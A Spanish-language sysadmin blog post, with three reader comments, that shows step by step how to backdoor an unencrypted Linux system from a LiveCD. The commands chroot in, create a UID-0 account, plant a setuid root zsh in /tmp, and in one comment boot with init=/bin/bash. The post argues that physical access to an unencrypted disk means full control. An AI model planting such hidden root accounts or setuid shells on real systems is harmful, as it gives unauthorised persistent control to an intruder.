systemadmin.es > Seguridad > Instalar una backdoor en un sistema Linux mediante una LiveCD

Instalar una backdoor en un sistema Linux mediante una LiveCD

En security by default se habló de cómo modificando el sistema de ficheros de un Windows podemos cambiar la utilidad Magnify.exe por el cmd.exe para poder obtener una shell con permisos de administrador. Fue divertido leer los típicos comentarios incendiarios, pero si se tiene acceso al sistema de ficheros se puede hacer cualquier cosa independientemente del sistema operativo. Vamos a ver un par de ejemplos para sistemas Linux.

Al arrancar una LiveCD como puede ser una BackTrack podemos montar el sistema de ficheros:

root@bt:~# mkdir /mnt/hd
root@bt:~# mount /dev/sda1 /mnt/hd/
root@bt:~# cd !$
cd /mnt/hd/
root@bt:/mnt/hd# ls
bin  boot  dev  etc  halt  home  lib  lost+found  media  misc  mnt  net  opt  proc  root  sbin  selinux  srv  sys  tmp  usr  var

Una opción simple es usar chroot para poder ejecutar comandos básicos como useradd para crear un acceso:

root@bt:~# chroot /mnt/hd/
[root@bt /]# useradd jprats
[root@bt /]# passwd jprats
Changing password for user jprats.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

A continuación podemos modificar el fichero /etc/passwd para que dicho usuario tenga el id 0, por lo tanto sea equivalente a root:

jprats:x:0:0::/home/jprats:/bin/bash

Al hacer login con dicho usuario obtendremos una cuenta de root:

login as: jprats
jprats@192.168.232.130's password:
Last login: Wed Dec  8 18:56:34 2010
[root@zimbra ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@zimbra ~]#

Otra opción es crear un acceso mediante el binario de una shell y el setuid bit:

root@bt:/mnt/hd# cp bin/zsh tmp/
root@bt:/mnt/hd# chmod u+s tmp/zsh

Dicho binario el propietario es root, con el setuid bit al ejecutarlo desde cualquier otro usuario obtendremos una shell con permisos de root:

[jordi@zimbra ~]$ /tmp/zsh
[jordi@zimbra]~# id
uid=503(jordi) gid=504(jordi) euid=0(root) groups=504(jordi)

También se podría troyanizar algún binario o cualquier otra cosa sin problema. Con acceso a un disco sin cifrar se pueden encontrar muchas formas de mantener el acceso a dicho sistema.

3 comments to “Instalar una backdoor en un sistema Linux mediante una LiveCD”

  1. Quitando la parte maléfica de tu entrada ese truco también sirve para recuperar la pass de root cuando se olvida o mantener el sistema por lo que haya pasado. Para lo bueno y lo malo me refiero.

  2. Ayer estuve trasteando con el Netbook que le dieron de la Junta de Andalucia a mi mujer por ejercer de maestra en un centro, y aparte de tener un sistema operativo Ubuntu + esteroides algo desastroso (Guadalinex), no te permiten usar root para nada, ni tan siquiera sudo su. En cierta medida lo entiendo, así se ahorran que te cargues el sistema instalando aplicaciones, pero no he encontrado la dichosa contraseña de la distro por ninguna parte para hacer una cosa tan simple como login automático sin tener que pasar por el GDM.

  3. Si tienes acceso a grub/lilo y puedes agregar entradas, bastaría con init=/bin/bash para tener acceso al sistema.

    Creo que alguna distro tiene algún tipo de mecanismo para evitarlo.

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>